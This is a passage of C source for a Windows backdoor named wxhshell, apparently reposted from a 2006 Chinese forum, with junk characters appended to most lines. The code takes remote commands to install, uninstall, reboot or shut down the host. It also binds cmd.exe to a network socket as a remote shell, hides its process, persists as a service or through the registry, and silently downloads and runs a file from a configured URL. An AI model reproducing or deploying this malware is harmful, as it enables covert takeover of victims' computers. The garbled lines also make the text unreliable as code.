    switch(cmd[0]) { PC?XE8o  
  DnB :~&Dw  
  // 帮助 \VAS<?3  
  case '?': { 2;SiH]HNS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0n?^I>j  
    break; +'g~3A-G  
  } -0*z"a9<p8  
  // 安装 DL '{ rK  
  case 'i': { oHethk  
    if(Install()) ) @f6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SUoUXh^!w  
    else @ w,O1Xwj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &X}i%etp^2  
    break; N/B-u)?\:  
    } O 0P4uq  
  // 卸载 baR*4{]  
  case 'r': { ?*f2P T?`  
    if(Uninstall()) 5W_Rg:J{P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \q|<\~A  
    else {k<mN Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?ieC>cr  
    break; bqZ5GKUo  
    } [_tBv" z  
  // 显示 wxhshell 所在路径 {@X)=.Zf  
  case 'p': { _s0;mvz'  
    char svExeFile[MAX_PATH]; X_wPuU%  
    strcpy(svExeFile,"\n\r"); 6oR5q 4  
      strcat(svExeFile,ExeFile); p<(b^{EX  
        send(wsh,svExeFile,strlen(svExeFile),0); JjH141 n%D  
    break; &UX:KW`=  
    } @ql S #(  
  // 重启 HUGhz  
  case 'b': { ",45p@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vSJ# }&  
    if(Boot(REBOOT)) ;c#jO:A5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x?G"58  
    else { wvEdZGO8!  
    closesocket(wsh); :T/I%|;f  
    ExitThread(0); _Qf310oONS  
    } Y$eO:67;  
    break; lMb&F[KJ7  
    } -=4:qQEw  
  // 关机 f] kG%JEK  
  case 'd': { qZh}gu*>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PCiwQ4~  
    if(Boot(SHUTDOWN)) 4Mv]z^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hyC]{E  
    else { iq`caoi  
    closesocket(wsh); 5}'W8gV?  
    ExitThread(0); Nb/Z+  
    } ~d=Y98'xS  
    break; a`;nB E  
    } ^[hx`Rh`t  
  // 获取shell 03dmHg.E!E  
  case 's': { &^K,"a{  
    CmdShell(wsh); t`"pn <  
    closesocket(wsh); y9Q.TL>=[  
    ExitThread(0); te#Wv9x  
    break; :sJQ r._L  
  } $36.*s m  
  // 退出 P^m&oH5]EG  
  case 'x': { _G ^Cc}X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0hOps5c8=  
    CloseIt(wsh); h5 PZ?Zd  
    break; o#=O5@>ai  
    } U~Rs?JmTdD  
  // 离开 2$yNryd  
  case 'q': { LCemM;o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1C<@QrT  
    closesocket(wsh); '"]U+aIg  
    WSACleanup(); (Ujry =f  
    exit(1); uwWKsZ4:ij  
    break; \ H!Klp  
        } `:YCOF  
  } g3vR\?c`  
  } l !:kwF  
Z3z"c B  
  // 提示信息 [ih^VlZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C;XhnqWv+l  
} 4)E$. F^   
  } g,}_&+q:.M  
}\aJ%9X02  
  return; <,Pk  
} .%+y_.l  
Q?{^8?7  
// shell模块句柄 &O^t]7  
int CmdShell(SOCKET sock) iO{LsG*5Z  
{ } o@Dsx5  
STARTUPINFO si; &[y+WrGG  
ZeroMemory(&si,sizeof(si)); D` 2w>{Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -5#cfi4^*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wYN/ }>M  
PROCESS_INFORMATION ProcessInfo; 3?bTs =  
char cmdline[]="cmd"; N<T@GQwkS  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `clp#l.ii  
  return 0; M.fA5rJ^  
} 6=g! Hs{  
V ^hR%*i'  
// 自身启动模式 i&\ c DQ 3  
int StartFromService(void) ..UA*#%1  
{ I)q"M]~  
typedef struct m,PiuR>  
{ Ex@o&j\93  
  DWORD ExitStatus; Mk!bmFZOZ  
  DWORD PebBaseAddress; #]@|mf q  
  DWORD AffinityMask; &r1]A&  
  DWORD BasePriority; O*ER3  
  ULONG UniqueProcessId; sk7]s7  
  ULONG InheritedFromUniqueProcessId; B PG&R  
}   PROCESS_BASIC_INFORMATION; WM9z~z'2a  
EM,=R  
PROCNTQSIP NtQueryInformationProcess; y=SVS3D  
g,s^qW0vds  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9G^gI}bY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [Lq9lw&   
40HhMTZ0-  
  HANDLE             hProcess; #;/ob-  
  PROCESS_BASIC_INFORMATION pbi; ,#K{+1z:  
Yp EH(tq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R0YWe  
  if(NULL == hInst ) return 0; K#xL-   
2$FH+wuW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); t"jiLOQ[6  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W(Rp@=!C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); v:]z-zU  
S9d Xkd  
  if (!NtQueryInformationProcess) return 0; KRb'kW  
1\-r5e; BE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); x%T.0@!8  
  if(!hProcess) return 0; 8~ u/gM  
f-Zi!AGh>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Pe=cc"@  
|G/W S0  
  CloseHandle(hProcess); 2ae"Sd!-2  
<"{VVyK  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }mpFo 2  
if(hProcess==NULL) return 0; BRXDE7vw  
d:=Z<Y?d/  
HMODULE hMod; ew<_2Xy"<  
char procName[255]; cc0T b  
unsigned long cbNeeded; 'PWA  
@S1Z "%S  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ty}Y/jW  
@;}vK=6L  
  CloseHandle(hProcess); H h35cj  
st)qw]Dn;Y  
if(strstr(procName,"services")) return 1; // 以服务启动 i@mS8%|l  
i(> WeC+  
  return 0; // 注册表启动 3!vnSX(iv  
} U'@ ![Fp  
z! :0%qu  
// 主模块 WV}HN  
int StartWxhshell(LPSTR lpCmdLine) Sg*+!  
{  C=qL0  
  SOCKET wsl; ch33+~Nn  
BOOL val=TRUE; $ i%#fN  
  int port=0; {@hJPK8  
  struct sockaddr_in door; RoNE7|gF:  
6B+?X5-6DH  
  if(wscfg.ws_autoins) Install(); nWA>u J5  
Yz#E0aTTA  
port=atoi(lpCmdLine); _ Y7 Um  
g)7@EU2  
if(port<=0) port=wscfg.ws_port; X0]{8v%  
~ +h4i'  
  WSADATA data; hDXaCift  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [9G=x[  
"RgP!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   AkCy C1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !,]2.:{0z  
  door.sin_family = AF_INET; c#TV2@   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U9jdb9 |  
  door.sin_port = htons(port); {.ypZ8JU  
'I$kDM mwh  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \>x1#Vr>#V  
closesocket(wsl); aJ}hlM>  
return 1; oU se~  
} )!~,xl^j{}  
Nxna H!wS  
  if(listen(wsl,2) == INVALID_SOCKET) { WyRSy-{U(}  
closesocket(wsl); H!'4A&  
return 1; F}=_"IkZ  
} udmLHc  
  Wxhshell(wsl); n|Ts:>`V  
  WSACleanup(); %xr'96d  
_0UE*l$t  
return 0; =J|jCK[r  
BS(jC  
} \Foo:jON  
m^ Epw4eg  
// 以NT服务方式启动 %7QSBL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m_.9 PZ  
{ L/In~' *-  
DWORD   status = 0; X ]W)D S  
  DWORD   specificError = 0xfffffff; hV:++g  
"!CVm{7[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K+"3He  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ;A4j_ 8\[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :zY;eJKm  
  serviceStatus.dwWin32ExitCode     = 0; 41P0)o  
  serviceStatus.dwServiceSpecificExitCode = 0; s\<UDW  
  serviceStatus.dwCheckPoint       = 0; |=07n K2  
  serviceStatus.dwWaitHint       = 0; bR,Es~n  
\iaZV.#f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  A@9\Qd  
  if (hServiceStatusHandle==0) return; <v/aquLN  
:,fT^izew  
status = GetLastError(); Zu2`IzrG#  
  if (status!=NO_ERROR) JY@bD:  
{ vG7Mk8mIr  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1rs.  
    serviceStatus.dwCheckPoint       = 0; :!hO9ho  
    serviceStatus.dwWaitHint       = 0; g rCQ#3K*?  
    serviceStatus.dwWin32ExitCode     = status; p3Ozfk  
    serviceStatus.dwServiceSpecificExitCode = specificError; -<9Qez)y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {~w(pAx  
    return; h(R7y@mp\0  
  } V'tR \b  
HEAW](s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; % 8wBZ~1-  
  serviceStatus.dwCheckPoint       = 0; $-u c#57  
  serviceStatus.dwWaitHint       = 0; ?zQW9e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); v 2 p  
} QT zN  
v_Df+  
// 处理NT服务事件,比如:启动、停止 /KNR;n'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ` &bF@$((  
{ kvuRT`/  
switch(fdwControl) m5&Ht (I%n  
{ X)6G :cD  
case SERVICE_CONTROL_STOP: H-nhq-fut  
  serviceStatus.dwWin32ExitCode = 0; 8#g}ev@|u  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; t- TUP>_  
  serviceStatus.dwCheckPoint   = 0; R)ZzRz|/  
  serviceStatus.dwWaitHint     = 0; Pksr9"Ah  
  { !L|l(<C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$_gOwB  
  } +nHr+7}  
  return; B8?9L8M}  
case SERVICE_CONTROL_PAUSE: po\jhfn  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1L+hI=\O  
  break; }h1LH4  
case SERVICE_CONTROL_CONTINUE: bq) 1'beW  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; S7WHOr9XMV  
  break; (n8?+GCa  
case SERVICE_CONTROL_INTERROGATE: )">#bu$  
  break; y z!L:1DG  
}; 2wnk~URj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,9}JPv4Z  
} ']fyD3N  
S.Kcb=;"L  
// 标准应用程序主函数 8_w6% md  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SXYwhID=  
{ &WLN   
R9^vAS4t[O  
// 获取操作系统版本 H\n6t-l  
OsIsNt=GetOsVer(); DTuco9yr[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EC0B6!C&7  
s8[(   
  // 从命令行安装 ZMZWO$"K1  
  if(strpbrk(lpCmdLine,"iI")) Install(); r7>FH!=:  
9M'"q7Kh  
  // 下载执行文件 R-dv$z0  
if(wscfg.ws_downexe) { G7|d$!%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a%BC{XX  
  WinExec(wscfg.ws_filenam,SW_HIDE); /3k[3  
} m1j Eky(  
7Hv 6>z#m  
if(!OsIsNt) { 2bLc57j{`9  
// 如果时win9x,隐藏进程并且设置为注册表启动 `7y3C\zyQ  
HideProc(); ;di .U,  
StartWxhshell(lpCmdLine); Ws1|idAT  
} EPLHw  
else {fDRVnI?  
  if(StartFromService()) \p( 0H6  
  // 以服务方式启动 BeQ'\#q,  
  StartServiceCtrlDispatcher(DispatchTable); Ix,b-C~  
else N0}[&rE 8  
  // 普通方式启动 ;<[!;8  
  StartWxhshell(lpCmdLine); /DH`7E  
OmZZTeGg1s  
return 0; iG"v  
}
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只看该作者 1 发表于: 2006-10-10
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